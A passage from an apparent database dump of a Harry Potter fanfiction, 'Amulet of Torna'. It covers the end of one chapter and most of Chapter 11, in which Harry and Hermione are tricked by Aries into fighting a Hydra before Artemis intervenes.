him.</p>\n\n<p>&quot;Quiet you two!&quot; he snapped, getting up and walking away. That comment just made the Rosa and Enzo laugh even harder.&nbsp; </p>\n\n<p>Harry unlocked the door with the key and Hermione followed him inside.&nbsp; It was a tad cold so she lifted her wand and pointed it at the fireplace. </p>\n\n<p>&#8220;Incendio!&#8221; She said and watched as the spell shot from her wand to the wood and lit up immediately.&nbsp; Hermione looked back at Harry and noticed he looked like he was suffering from some pain.&nbsp; &#8220;Harry are you all right?&#8221;</p>\n\n<p>He rubbed his shoulder and cringed at the pain that still bothered him.&nbsp; &#8220;Not really, but there&#8217;s not much one can do about this.&#8221;</p>\n\n<p>&#8220;Would you mind if I took a look?&#8221;&nbsp; She said with a tile of her head, concern evident on her pretty face.</p>\n\n<p>He sighed, &#8220;I fear it will make you sick from just the sight of my wounds.&#8221;&nbsp; Harry said not wanting her to see it</p>\n\n<p>&#8220;Harry, if something is wrong I need to know about it.&nbsp; What if it&#8217;s infected?&nbsp; Now stop acting like a child and let me see it.&#8221;&nbsp; She said with the utmost authority.&nbsp; Hermione was pleased with herself when Harry sat down on the fur pelt on the floor in front of the fireplace.&nbsp;&nbsp; Hermione moved over to him and sat down behind him and carefully lifted his shirt.&nbsp;&nbsp; Harry reached up and helped her pull it off and revealed the white bandage which was now stained with blood.&nbsp; </p>\n\n<p>Hermione carefully unwrapped his shoulder; she did cringe at the view of this really deep wound.&nbsp; &#8220;Goodness Harry, this is just awful.&#8221;&nbsp; She touched the outer puffy edges and heard him suck in a strained breath of pain.&nbsp; &#8220;I&#8217;m sorry Harry, did that hurt?&#8221;&nbsp; She saw him nod.&nbsp; &#8220;Its times like this that I wish I had the healing talent that Ginny has, I would be able to heal it all up.&#8221;</p>\n\n<p>Harry reached up and his hand covered over hers which was resting on his shoulder.&nbsp; &#8220;Hermione, don&#8217;t worry about it.&nbsp; It will heal in time.&#8221;&nbsp; He turned a bit taking her hand and placing it in his lap as he gazed into her eyes. &#8220;It will just be another scar, one of many that I already have.&#8221;&nbsp; His free hand cupped her cheek, &#8220;I worry more about losing you than losing my arm.&nbsp; So as long as you are still around I have a reason to fight.&#8221;</p>\n\n<p>&#8220;Oh Harry,&#8221; She said breathily.&nbsp; &#8220;I love you so very much.&#8221;</p>\n\n<p>He smiled and his hand reached around to the back of her neck and proceeded to pull her towards him.</p>\n\n<p>-------------</p>\n\n<p>Hahaha I know what a place to leave this chapter.&nbsp;&nbsp; Well get used to it. It&#8217;s called torture and you know you love it *wink* Well I hope you enjoyed this chapter, I know it took a long time to get it out, but I was really busy with trying to write a novel so that I may publish it.&nbsp;&nbsp; I&#8217;ll get the next chapter out as soon as I can, hopefully you&#8217;ll wait for it.&nbsp;&nbsp; So until then Tata.</p>\n\n<p>Remember to REVIEW, REVIEW, REVIEW</p>\n\n<p>^.^</p> '),
	(43, 11, ' <p>Disclaimer: Disclaimer: don&#8217;t own original Harry Potter characters or situations, They belong to J.K Rowlings. If I owned them, I would be sitting in Hawaii right now sipping drinks with little umbrellas in them and having hot guys serving my every need. *sigh* Oh well.</p>\n\n<p><b>A/N:&nbsp; Wow, oh wow.&nbsp; Finally a chapter done.&nbsp; I know its been soooo long since my last update.&nbsp; But I was working steadily on my novel, which I am trying to get published.&nbsp; I was met with a saddened blow today by receiving my first rejection letter for my novel.&nbsp; It&#8217;s sad I know, but hey I still worked on this chapter for you my wonderful and glorious readers, who have been so patient with the updating of this fanfiction.&nbsp; SO now here&#8217;s the chapter you&#8217;ve all been waiting for. ^_^</b></p>\n\n<p>~*~*~*~*~*~*</p>\n\n<p>Last time on Amulet of Torna:</p>\n\n<p>They reached each other in a matter of seconds; Hermione had flung herself into his arms holding onto him for dear life. Tears were streaming wildly down her cheeks as she held him.</p>\n\n<p>*&nbsp;&nbsp; *&nbsp;&nbsp; *</p>\n\n<p>Ellia looked at the direction of the door. &quot;Who are you and how long have you been at that door?&quot; She was irritated.</p>\n\n<p>&quot;I... uh... just now...&quot; Harry felt bad for eavesdropping. He had just wanted to know what was in that back room.</p>\n\n<p>*&nbsp; *&nbsp; *</p>\n\n<p>&quot;Torna, that is very far from here. Do you even have any idea of how you will get there?&quot; Ellia leaned back in her chair folding her arms over her bosom.</p>\n\n<p>&quot;We have a group that has agreed to travel with us,&quot; Harry replied. &quot;And... we have a hostage....&quot;</p>\n\n<p>&quot;That&#8217;s how you are going to get to Torna?&quot; She was amused.</p>\n\n<p>&#8220;Yes,&quot; Harry replied defensively.</p>\n\n<p>Ellia shook her head, &quot;How do you know you won\'t end up in Greece; you need some kind of direction.&quot; She stood and hurried over to a drawer and pulled it open retrieving a map and bringing it back to them. &quot;Here I think this might come in handy.&quot; She spread it out for them to look over.</p>\n\n<p>&quot;Wow!&quot; both of them said at once. The map was rather large and it had markings on it of the dangerous areas of Italy. But Harry pretty much could see exactly how to get to Torna even though there were several different paths to the city. But Ellia pointed to the exact path that they need to take.</p>\n\n<p>*&nbsp;&nbsp; *&nbsp; *</p>\n\n<p>Now on with the fanfiction:</p>\n\n<p>Amulet of Torna</p>\n\n<p>Chapter 11&#8212;Gods and Monsters</p>\n\n<p>He kissed her gently, slowly, as if they were the only two left in the world.&nbsp; The fear of never seeing her again raced back into Harry&#8217;s mind, he gripped her tighter.&nbsp; But as he did he felt the pain in his shoulder envelope him.&nbsp; He pulled back from her and gasped out in pain.&nbsp; </p>\n\n<p>&#8220;Harry, let me get someone to close this up.&nbsp; It won&#8217;t heal unless you put something on it.&#8221; Hermione said as she looked intently at his wound.</p>\n\n<p>Harry shook his head, &#8220;No, really its fine.&#8221;</p>\n\n<p>Hermione glared as she stood up, &#8220;Do not argue with me Harry Potter, normally if we were back in the future you would either have stitches done the Muggle way or healed up by some magical hospital.&#8221;&nbsp; And without another word, she left the room and searched for someone to help sew up his wound.</p>\n\n<p>Looking over at his shoulder, Harry cringed at the sight of how the wound looked; it really was in need of medical attention, Hermione was right.&nbsp; He leaned back on the fur staring up at the ceiling, thinking of what their journey now consisted of.&nbsp; They would have to go back to the shop tomorrow and purchase more supplies. Yetis and other monsters were sure to attack them, how would they ever survive? </p>\n\n<p>It wasn&#8217;t long before the door to their room opened and in walked Hermione with what looked like a healer.&nbsp; The healer was a woman with very dark brown hair and sparkling blue eyes. She looked about twenty years old.&nbsp; In her hand was a small wicker basket with a piece of green cloth covering over the top.&nbsp; </p>\n\n<p>She stepped up to Harry and bowed lightly, &#8220;I am Gina, and I have been told you are in need of healing.&nbsp; Allow me to assist you.&#8221; </p>\n\n<p>Harry sighed and looked at Hermione who had a rather pleased look on her face as Gina sat down next to him on her knees and dug through her basket.</p>\n\n<p>&nbsp; She pulled out a needle and black thread.&nbsp; &#8220;I got this thread from Lady Ellia, she assured me that it heals most open wounds, and using this thread it will not leave a scar.&#8221;</p>\n\n<p>&#8220;Is this going to hurt?&#8221; Harry asked with a slight smile.</p>\n\n<p>Gina nodded, &#8220;I am afraid so, of course this pain is really nothing compared to whatever weapon made your wound.&#8221;</p>\n\n<p>Hermione sat down on the floor next to Harry on his other side, he squinted his eyes shut and Hermione&#8217;s hand covered over his, he clutched her hand tightly as he felt the needle pierce his skin, he kept in his small cry.&nbsp; He did not look as Gina threaded her needle through his flesh and wiping the blood off every so often with her green cloth. </p>\n\n<p>&#8220;All right now, I am finished.&#8221; Gina tied off the end of the thread and snipped the longer piece that was left with a pair of silver shears.&nbsp; &#8220;Try not to tear it open again, let it heal before you do anymore fighting.&#8221;</p>\n\n<p>Harry nodded, not really listening to her.&nbsp; Mostly because he was sure that he and Hermione would be faced with a lot more dangers and fighting was definitely not going to stop because he had an injury.&nbsp; He looked towards Hermione who had leaned her head against his shoulder; there was no way he was going to let anything happen to Hermione.&nbsp; He had to protect her and he wasn&#8217;t going to let some injury stop him from seeing that Hermione was safe.</p>\n\n<p>Gina stood and Harry thanked her as she walked quickly to the door and let herself out.&nbsp; Harry looked down at Hermione, he was about to call her name when he heard the soft breathing and saw the gentle up and down motion of her chest.&nbsp; She was asleep.&nbsp; Harry smiled to himself and, keeping his injury in mind, he slowly got to his feet and gently lifted her into his arms. He cringed at the weight of her body on his now healing injury.&nbsp; Adjusting her a bit so that more of her weight was managed on the other arm he carried her to the bed just a few feet from the fire place and laid her in it. </p>\n\n<p>Covering her up, Harry then stripped down to his boxers and climbed in next to her. Hermione made a little murmuring noise before turning over on her side, facing him.&nbsp; He gazed down at her face, so peaceful and lovely she was as she slept.&nbsp; Her lashes fanned out against her now tan cheeks, being in the sun and traveling had made her skin a rather golden bronze color which was appealing to him.&nbsp; Her hair had also been sun kissed, he could now see a bit of honey within her brown tresses.&nbsp; Great Gods he had missed her, he never wanted to be without her again.&nbsp; When they were separated he felt his whole world had come crashing down and he would do whatever it takes, even take on the Grim Reaper himself if he and Hermione would find a way to be together again.</p>\n\n<p>Thank the fates that he didn&#8217;t have to go against death as of yet, but if it was to pass he would be ready.&nbsp; Lightly placing a tender kiss to her forehead, Harry turned on his side and cradled her against him.&nbsp; He closed his eyes and sleep soon found him.</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>Inside the Goods shop, Harry and Hermione were purchasing more supplies for their journey; they were told by the shop keeper that the place to buy winter furs was on the opposite side of the village.&nbsp; After paying for their goods, they exited the shop only to come face to face with Marcelo, Enzo, Rosa and Meldina.&nbsp; It was Marcelo who spoke up.</p>\n\n<p>&#8220;And just where do you think you two are going?&#8221;&nbsp; He said rather like scolding a child.</p>\n\n<p>Harry ran his hand through his normally wild hair, &#8220;We are gathering supplies to continue our journey; we have to make it to the city of Torna so that we may return to our home.&#8221;</p>\n\n<p>&#8220;Torna,&#8221; Enzo gasped, &#8220;That is quite a distance from here.&#8221;</p>\n\n<p>Narrowing his eyes, Harry was a bit confused, &#8220;How do you know about Torna?&#8221;</p>\n\n<p>Enzo shrugged, &#8220;I was born there. I know it\'s not really well known to parts around here. Mostly because it should be kept a secret. Amazing things go on in Torna that they might burn us for.&#8221;</p>\n\n<p>&#8220;So you two were going to go all on your own?&#8221; Marcelo asked with one eye brow raised.&nbsp; He saw both Harry and Hermione nod.&nbsp; &#8220;Well we just can&#8217;t allow that now. I mean you two braving this world which is unknown to you, honestly, what reality did you wake up in?&#8221;</p>\n\n<p>Hermione felt offended, &#8220;Excuse me, but what exactly are you implying here?&#8221; She said with her hands planted firmly on her hips, a sign of complete and utter annoyance.</p>\n\n<p>&#8220;It&#8217;s simple really,&#8221; Marcelo said with a wave of his hand, &#8220;You will need someone to show you the way and someone to assist you with the monsters that you will encounter on this journey of mad proportions.&#8221;</p>\n\n<p>Harry knew what Marcelo was saying, but he didn&#8217;t want to endanger their lives like this.&nbsp; &#8220;Marcelo I don&#8217;t want to drag you and the others into this.&nbsp; This is mine and Hermione&#8217;s problem, not yours.&#8221;</p>\n\n<p>Marcelo looked at the others, &#8220;That&#8217;s not for you to decide now. I know you have to get back home to wherever it is you came from&#8212;&#8221; &nbsp;&nbsp;He was interrupted by Rosa.</p>\n\n<p>&#8220;We are going with you, and that is that.&nbsp; Do not argue with us.&nbsp; You two have already done so much for us.&nbsp; We want to assist you.&#8221; Rosa said in a tone that said that if you argue with me I&#8217;m going to hurt you.</p>\n\n<p>Meldina nodded, agreeing completely with Rosa, &#8220;I tend to agree with Rosa here. It&#8217;s dangerous out there and you&#8217;ll need the help of us, your friends, to be able to make it through.&#8221;</p>\n\n<p>&#8220;Are you sure?&#8221; Hermione was impressed by the loyalty of these people that she had met just a few short days ago.</p>\n\n<p>Enzo nodded with a smile, &#8220;Absolutely. We want to help.&#8221;</p>\n\n<p>&#8220;Just face it, you can&#8217;t make this journey without us,&#8221; Marcelo still tried to convince them, and it seemed like it was working.</p>\n\n<p>Hermione looked at Harry and he nodded. She looked back at the four of them, &#8220;All right then, you&#8217;ll need winter furs since we&#8217;ll be traveling over icy mountains.&#8221;</p>\n\n<p>&#8220;We will need funds.&#8221; Marcelo said.</p>\n\n<p>Enzo looked at Marcelo, a question burning in his gaze, &#8220;And just where do you expect to get funds?&#8221;</p>\n\n<p>A cruel, sinister smile crept upon the tall red head&#8217;s face, &#8220;I know exactly where.&nbsp; Just wait here a moment.&#8221; After having said that, Marcelo dashed off towards the jail.&nbsp; He returned moments later with a huge money pouch strapped to his side, and as he approached them, he was grinning.</p>\n\n<p>&#8220;And just where did you get that?&#8221; Rosa said, her hands planted firmly on her hips.</p>\n\n<p>With a shrug of his shoulders, Marcelo simply said, &#8220;It was donated.&#8221; He then gestured for everyone to follow him towards the shop where they could get their furs.</p>\n\n<p>The guys were packing up and tying their supplies to the horses\' saddles, when Hermione looked towards the jail.</p>\n\n<p>&#8220;What are we going to do with our hostage?&#8221;</p>\n\n<p>Harry shrugged, &#8220;We can just leave him here, let the villagers take care of him from now on.&#8221;</p>\n\n<p>&#8220;He&#8217;s right,&#8221; Meldina said, &#8220;It is not like we need him anymore, he&#8217;ll only be an extra burden on us now.&#8221; </p>\n\n<p>&#8220;That&#8217;s true,&#8221; Hermione said with a nod.&nbsp; She couldn&#8217;t help the strange feeling she got.&nbsp; Something was going to happen, she just didn&#8217;t know what but she could feel it and she was sure that Marc Antony was going to be the cause of it.&nbsp; She shook her head to rid herself of these weird feelings and turned back around towards the group.&nbsp; &#8220;All right then, shall we go?&#8221;</p>\n\n<p>&#8220;Yep,&#8221; Harry said with a smile as he watched Hermione mount up on the horse.&nbsp; He turned to the rest of them and they were doing the same so he followed suit.&nbsp; Once they were all atop of their mounts Enzo took the lead since he claimed to know where they were going.&nbsp; They raced towards the entrance of the village and came to a stop, waiting as the very large crank was turning and the gate was opening.&nbsp; The villagers that were standing around all waved to Harry and his friends as they made it through the open gate and out into the wilds of Italy.</p>\n\n<p>They had been traveling for over six hours and the girls were about ready to fall off of their horses from exhaustion.&nbsp; But they didn&#8217;t say anything or complain about it.&nbsp; Meldina and Rosa were worse off then Hermione was. Only cause they were not used to riding this much on horseback.&nbsp; It was true Hermione wanted to rest as well, but she also wanted to get home.&nbsp; And the feeling of wanting to get home won out in the end.&nbsp; </p>\n\n<p>&#8220;Hey look a pond; we can take a small break for something to eat.&#8221; Marcelo spoke up.</p>\n\n<p>&#8220;It is such a lovely spot too.&#8221; Rosa said and Marcelo looked at her and she lifted a single brow in the form of a question.</p>\n\n<p>&#8220;Which is only dwarfed by your beauty,&#8221; Marcelo said, smiling dazzlingly.</p>\n\n<p>Rosa blinked and then rolled her eyes before she raced ahead to ride near Hermione to be out of range of that idiot.</p>\n\n<p>&#8220;Yes we should stop here for a bit,&#8221; Harry said and then pulled his horse to a stop; the rest of them did the same and climbed down.</p>\n\n<p>They gathered by the crystal blue water and sat down on the soft green grass while Hermione passed out food rations, some fruit and dried meat.&nbsp; Looking at their surroundings, Hermione found the spot they had picked to be quiet nice, almost too nice.&nbsp; There were bright blue and purple flowers growing around the pond&#8217;s edge with some decorative stones and boulders around them.&nbsp; The sun light was sparkling atop the water.&nbsp; She then wondered how everyone was doing back home.&nbsp; She missed her friends, her family, her time period.&nbsp; She had often read about ancient times and thought of the romantic aspect of it, but she definitely did not want to live during them.</p>\n\n<p>Hermione was just about to comment on her thoughts when a bright light nearly blinded them.&nbsp; After their vision cleared, hovering over the pond was a man, wearing armor over his black and gold toga, his frame rippling with muscle.&nbsp; His hair was the darkest black one had ever seen, and his eyes the shade of dark obsidian.&nbsp; He smiled.</p>\n\n<p>The whole group of travelers all stared at the presence of the man before them.</p>\n\n<p>&#8220;Forgive my intrusion,&#8221; the man spoke, his powerful voice practically booming in their ears.</p>\n\n<p>&#8220;Who are you?&#8221; Meldina asked before anyone else could.</p>\n\n<p>The corner of the man&#8217;s mouth lifted into a smirk, &#8220;What, do you mean you do not recognize me?&#8221;&nbsp; He hovered over to the bank of the pond and landed on the soft grass.&nbsp; &#8220;In Greece I am known as Aries, God of War, but here in Italy I am called Mars.&#8221; He bowed like a respected gentleman.</p>\n\n<p>The four Italian&#8217;s in the group immediately got to their feet in respect for their God, they bowed to him and after they stood upright, all four of them looked down at Harry and Hermione who still seemed to be sitting.</p>\n\n<p>Aries&#8217;s eyes narrowed in the direction of Harry and Hermione, &#8220;Why do you two not show me respect?&#8221;</p>\n\n<p>&#8220;We aren&#8217;t really from around here.&#8221; Harry said, but he and Hermione stood anyway, just so that they didn&#8217;t feel so threatened by this God.</p>\n\n<p>Nodding, Aries looked Harry up and down, &#8220;I see.&nbsp; Well, I had observed your gladiator match and I must say that I was very impressed with all of your skill, especially you.&#8221; He pointed to Harry, &#8220;Who claims to not be from around here, as you put it.&#8221;&nbsp; He started pacing.&nbsp; &#8220;I have a favor to ask of you.&nbsp; If you succeed in this I will bestow a gift upon you.&#8221;</p>\n\n<p>They didn&#8217;t have time for these extra opportunities.&nbsp; They had to get to Torna and get home.&nbsp; But Aries did not stop in his asking, he continued.</p>\n\n<p>&#8220;You see there is this foul creature that has been attacking a city that worships me.&nbsp; And well, I just can&#8217;t have that.&nbsp; I can not defeat this creature because it is out of my hands.&nbsp; But if you could do something about it, then perhaps my city can be saved.&#8221;</p>\n\n<p>&#8220;I&#8217;m not some kind of hero you know.&nbsp; Go find someone else to save your city.&#8221;&nbsp; Harry said with a wave of his hand.</p>\n\n<p>Aries shook his head, &#8220;There is no other with the qualifications that you and your group possess.&#8221;&nbsp; He looked towards Marcelo, &#8220;You would all be rewarded handsomely for your trouble.&#8221;&nbsp; Aries then looked at Harry, hoping to convince the boy of this.&nbsp; After all, he did seem like the leader of this pack of humans.&nbsp; &#8220;The rewards could perhaps benefit your journey.&#8221;</p>\n\n<p>&#8220;Just what exactly is this creature that is attacking one of your cities?&#8221; Hermione asked him.</p>\n\n<p>&#8220;Well my dear, let me tell you that it is a fierce serpent like beast, known as the Hydra.&#8221; Aries said with a gleam in his eye.</p>\n\n<p>Hermione&#8217;s eyes narrowed in thought, &#8220;The Hydra, are you sure?&nbsp; Because that creature I know is a Grecian monster, which lives in the marshes in the vicinity of Argos.&#8221;</p>\n\n<p><i>&#8216;This girl was too intelligent for her own good,&#8217;</i> Aries thought to himself.&nbsp; &#8220;Yes well no one told this Hydra that, because it&#8217;s terrorizing my city.&#8221;&nbsp; He needed to get these people to take care of this monster, but if this girl knew about it then his plan was going to be ruined.&nbsp; </p>\n\n<p>&#8220;But if its terrorizing innocent people I don&#8217;t see why we can&#8217;t help you.&#8221; Hermione said.</p>\n\n<p>Harry sighed, &#8220;Hermione, we need to get home.&nbsp; This will just delay us more.&#8221;</p>\n\n<p>Turning to Harry, Hermione lightly placed her hand on his shoulder.&nbsp; &#8220;Harry we need to help these people.&nbsp; Like this God said- if we are the only ones capable of handling this creature then we have to do all we can.&nbsp; It would be wrong if we ignored their cry for help.&#8221;</p>\n\n<p>Taking a deep breath, Harry nodded.&nbsp; She was right.&nbsp; He did not want innocent people to suffer either, especially at the hands or rather teeth of a monster.&nbsp; Harry turned around to his group of travelers and they created a circle to talk it over.&nbsp; &#8220;So what do you all think?&#8221;</p>\n\n<p>&#8220;I wonder what kind of reward he is talking about?&#8221; Marcelo thought out loud.</p>\n\n<p>Enzo rolled his eyes, &#8220;Is that all you ever think about?&#8221; </p>\n\n<p>Shaking his head, Marcelo answered. &#8220;No, sometimes I think about women.&#8221;</p>\n\n<p>&#8220;All right, let&#8217;s get back on track here.&#8221; Harry interrupted.&nbsp; &#8220;So do you all have some time to spare to help this city with this creature?&#8221;</p>\n\n<p>Meldina nodded, &#8220;I think we should help them.&nbsp; After all, if something as dangerous as this creature sounds was attacking a city I was living in I would sure want help.&#8221;</p>\n\n<p>Rosa was the only one who did not agree with this, &#8220;I think we should leave it alone.&nbsp; I have a feeling there is something more to this story than the God is letting on.&#8221;</p>\n\n<p>&#8220;Oh Rosa, you&#8217;re always suspecting the worst.&nbsp; It&#8217;s Mars we&#8217;re talking about here.&nbsp; He is asking mortals for help.&#8221; Meldina argued.</p>\n\n<p>She was not ready to give up this argument, &#8220;That is exactly it, Meldina.&nbsp; The God of war is asking assistance from a couple of mortals.&#8221;</p>\n\n<p>&#8220;You&#8217;re overreacting; we will help these poor city folk from this monster.&#8221; Meldina said with anger in her voice.&nbsp; &#8220;And you can either help us or not.&nbsp; It doesn&#8217;t matter much to me.&#8221;</p>\n\n<p>&#8220;It&#8217;s not that I don&#8217;t want to help them&#8212;&#8221; Rosa started to say but was interrupted by Meldina.</p>\n\n<p>&#8220;Then help us, stop complaining.&#8221; Meldina nearly shouted.</p>\n\n<p>Rosa shook her head, but said, &#8220;Fine, I&#8217;ll help.&nbsp; Not that any good will come of this. &nbsp;But I will help.&#8221;</p>\n\n<p>With a nod of his head Harry turned around and faced the god, &#8220;All right we will help you.&#8221;</p>\n\n<p>Aries clapped his hands together once and grinned, &#8220;You have done the right thing.&nbsp; Now all I need from this creature is one of its heads, preferably the middle one.&#8221; He pulled something out of thin air and threw it to Harry, &#8220;This is a map of where the city lies, it&#8217;s not too far from here.&#8221;&nbsp; And without even so much as a thank you, he disappeared.</p>\n\n<p>&#8220;Well let&#8217;s get moving,&#8221; Hermione said and she mounted up on her horse.&nbsp; Something in the back of her mind told her to be weary of this arrangement and that there was something different about the middle head; she just could not for the life of her remember what it was.&nbsp; Hermione lightly shrugged, she&#8217;d probably remember it later.&nbsp; It certainly was not that important.</p>\n\n<p>As soon as everyone was sitting atop their horse they started down the path towards the city that was supposedly being attacked by this monster known as the Hydra.</p>\n\n<p>*&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp; *</p>\n\n<p>Aries looked down into the pool of humanity with a sinister grin upon his face, &#8220;Let&#8217;s see here,&#8221; He watched as the group of humans he had fight the monster was already making good time towards the city.&nbsp; &#8220;Well now sister dear,&#8221; He said to no one in particular, &#8220;I&#8217;ve been itching to do this for a long time now.&#8221;&nbsp; Aries looked towards his table of clay models, different kinds of creatures were in his collection, he had a Chimera, a Griffon, a minotaur, sirens.&nbsp; All kinds of monsters, he looked for his model of the Hydra.&nbsp; But it wasn&#8217;t on the table, where was it?&nbsp;&nbsp; He heard a baby giggling on the floor and turned around.&nbsp; He saw baby Hercules sitting on their chewing on one of the Hydra&#8217;s heads. </p>\n\n<p>&#8220;Num, num,&#8221; Baby Hercules said grinning up at Aries with the head in his mouth.</p>\n\n<p>&#8220;Hey now, that&#8217;s not yours.&#8221;&nbsp; He reached down and took the model from the baby, &#8220;Auntie Artemis will be mad if you eat her creatures.&#8221; Aries grinned and stood back up, he heard the baby start to move, and he looked towards the floor and saw Hercules crawling away.&nbsp; &#8220;It&#8217;s my turn to make Artemis angry,&#8221; He grinned turning around facing the mortal table and placed the Hydra in the city, he then moved back over to the pool of Humanity to watch the scene unfold.</p>\n\n<p>*&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp; *</p>\n\n<p>As Harry and his friends rode towards the city they could hear wild screaming and a monster&#8217;s fierce roar along with the sounds of destruction.&nbsp; He turned to Hermione, &#8220;What exactly do you know about this creature?&#8221;</p>\n\n<p>&#8220;Well it has nine heads and it&#8217;s huge and serpent like, kind of like a dragon.&nbsp; But there is something about the middle head that I can&#8217;t really remember.&#8221; Hermione narrowed her eyes in thought, trying to remember what it was.</p>\n\n<p>Harry nodded, &#8220;Yes well that is the head we need to get, and it&#8217;s probably the one that kills it.&#8221;&nbsp; He looked at this rest of his group, &#8220;We should leave the horses out here so that nothing happens to them.&#8221;</p>\n\n<p>&#8220;Good idea,&#8221; Enzo said, and he started to dismount, just like the rest of them.</p>\n\n<p>Out of the saddle bags, they pulled the weapons they bought from the weaponsmith back at the village and raced into the city as families and other citizens were racing out.&nbsp; The six of them all skidded to a halt at what they saw&#8230; The Hydra was much larger than a dragon ever was, but it had four legs, and nine heads that were snapping and attacking the citizens.&nbsp; One of them didn&#8217;t make it, their leg was ripped off by fierce teeth and the man&#8217;s body fell to the ground in a lifeless lump.</p>\n\n<p>Hermione immediately notched an arrow and pulled back the string ready to fire, she took quick aim and released the arrow and it flew towards the middle head to pierce the eye, but it didn&#8217;t pierce anything, it just hit and fell to the ground.&nbsp; Hermione was confused, but she didn&#8217;t have time to be confused for the creature started towards them and the six of them had to dodge the snapping heads.&nbsp; Hermione dove behind a ruined building.</p>\n\n<p>Marcelo saw his chance to attack the middle head, as the long neck bent down for its other many heads to snap at its victims.&nbsp; Marcelo swung his sword but the middle head backed away as a head from right came at him, he didn&#8217;t care his blade sliced through the neck and it laid there twitching for a moment along with the other heads.&nbsp; It wasn&#8217;t moving.&nbsp; &#8220;There you see we didn&#8217;t need to kill the middle head at all.&#8221; Marcelo shouted with glee.</p>\n\n<p>Sounds of sloshing and gushing went on behind him, Marcelo slowly turned around to find the severed neck sprouting out three new heads.&nbsp; He jumped back as it roared to life once again.&nbsp; </p>\n\n<p>Harry was shocked to see this but it did not stop him, for he tried to attack the monster, soon everyone but Hermione was in on the fight, heads were being chopped off left and right, but every time that happened three more grew in its place.&nbsp;&nbsp; </p>\n\n<p>&#8220;Harry that obviously is not working!&#8221; Hermione shouted as she jumped out of the way as one of its necks swooped down at her.&nbsp; She kicked it in its nose and it squealed.</p>\n\n<p>&#8220;I know that Hermione! But what else should we do, its trying to eat us and the heads keep coming at us!?&#8221;</p>\n\n<p>Rosa was using her sword along with Meldina and they were encountering the same problem.</p>\n\n<p>Harry had perfect aim of the middle head, he could do a jump and slice it off and this would all be over.&nbsp; Hermione saw the same thing, but what she was trying to remember earlier banged its way into her head. </p>\n\n<p>&#8220;Harry no!&#8221; she was too late as he jumped up towards the middle head and as he was still in mid air aiming to slice it off, Hermione shouted, &#8220;Harry the middle head is immortal! You can&#8217;t kill it!&#8221;</p>\n\n<p>&#8220;What!?&#8221; Harry yelled and was caught off guard for a moment as the Hydra&#8217;s claw had come up and captured him in it&#8217;s talons, the heads all looking at him as if he was tonight&#8217;s dinner.</p>\n\n<p>The Hydra lifted Harry towards one of its mouths, but other ones got jealous that it was going to be the one to eat so all the heads started attacking the middle one, and Harry was released.&nbsp; He was falling towards the earth as the Hydra was fighting itself.&nbsp; Everything around him slowed and stopped, time was at a standstill.</p>\n\n<p>A woman appeared wearing a short leather toga with some armor over it; she had dark brown hair and amazing emerald eyes.&nbsp; She had a quiver of arrows slung on her back and she was holding a long bow, strapped to her exposed thigh was a dagger and attached to her hip was broadsword.&nbsp; She waved her hand and time started up again and Harry fell to the ground with a loud Oof.</p>\n\n<p>&#8220;Wait, that thing is dangerous, get away from it.&#8221; Hermione shouted as she started towards the woman.</p>\n\n<p>The woman merely lifted an eyebrow as one of the Hydra&#8217;s many heads, bent down and nuzzled the woman, who smiled and patted it on the snout.&nbsp; Hermione blinked and wondered why the creature wasn&#8217;t tearing her apart.&nbsp; She then heard Harry&#8217;s moan of pain and ran over to him.&nbsp; </p>\n\n<p>&#8220;Are you all right Harry?&#8221;</p>\n\n<p>Harry got to his knees and nodded, &#8220;Yeah, what happened?&#8221;&nbsp; He felt Hermione&#8217;s hand on his back; he then looked up at the woman who was petting the monster.&nbsp; &#8220;I was almost eaten by that thing, and you&#8217;re just standing there petting it?!&#8221; Harry shouted.</p>\n\n<p>&#8220;You deserved it,&#8221; the woman said, she stopped petting the Hydra and turned her angry gaze towards Harry.&nbsp; She watched as four others ran to him shaking their heads and telling him to be quiet, but she could tell he wasn&#8217;t having any of it.</p>\n\n<p>&#8220;Deserved it!? Have you lost your mind?&#8221; Harry got to his feet.</p>\n\n<p>&#8220;Yes!&#8221; She shouted and thunder boomed, &#8220;You humans deserve to get eaten, for trying to kill it.&nbsp; It has done nothing to you yet you are all attacking it!&#8221;</p>\n\n<p>Harry&#8217;s jaw dropped, &#8220;What, we were trying to protect this city that this creature was terrorizing.&#8221;&nbsp; His eyes narrowed, &#8220;Just who are you anyway?&#8221;</p>\n\n<p>&#8220;Some know me as Diana, but others as Artemis goddess of the hunt.&nbsp; I did not approve of the hunt of one of the god&#8217;s creatures, this is grounds for death you do realize that.&#8221; </p>\n\n<p>&#8220;Then what was it doing here in this city?&#8221;&nbsp; Harry asked and the goddess looked like she was thinking.</p>\n\n<p>Hermione nodded approaching, &#8220;It&#8217;s true, this is a Grecian monster, not usually seen in Italy at all.&#8221;</p>\n\n<p>Rosa cleared her throat, &#8220;It was Mars who had come to us, saying that we needed to save one of his cities from this creature.&#8221;</p>\n\n<p>Artemis&#8217;s eyes narrowed, &#8220;Aries, you say?&nbsp; He told you this did he?&#8221;</p>\n\n<p>In a puff of smoke Aries appeared before them, &#8220;You mortal, how dare you mention my name in this slanderous fashion.&#8221; He lifted his hand to strike the woman down, but Artemis grabbed his hand in mid air.</p>\n\n<p>&#8220;This was all your doing, was it?&#8221; Artemis had an eerie calmness sound to her voice.</p>\n\n<p>Aries looked right at Artemis, &#8220;Sister dear, who are you going to believe, your own brother or a bunch of mortals?&#8221;</p>\n\n<p>Artemis sighed, &#8220;I&#8217;m not even going to answer that, you know what I would say.&#8221;&nbsp; Artemis then turned to the group of mortals.&nbsp; &#8220;I apologize for jumping to conclusions; it seems my brother has been playing around.&nbsp; You know him always starting wars.&#8221; She waved it off as if it were no big deal.</p>\n\n<p>&#8220;You act as if this kind of thing happens all the time.&#8221; Harry said in pure disbelief.</p>\n\n<p>&#8220;Well young mortal, it does.&nbsp;&nbsp; It just seems that Aries was trying to anger me.&nbsp; It&#8217;s all perfectly normal, he does this to our other siblings too.&nbsp; Now if he had any common sense he will not try to anger me for another millennium.&#8221;</p>\n\n<p>&#8220;You two are related?&#8221; Harry asked.</p>\n\n<p>&#8220;Unfortunately yes, we just happen to have the same father.&nbsp; Our mothers are completely different, but we are both Aries and I are a set of twins.&nbsp; Apollo is mine and Eris is his.&#8221;</p>\n\n<p>&#8220;We were almost killed because of him!&#8221; Hermione shouted pointing a finger at Aries.</p>\n\n<p>&#8220;Yes and I am deeply 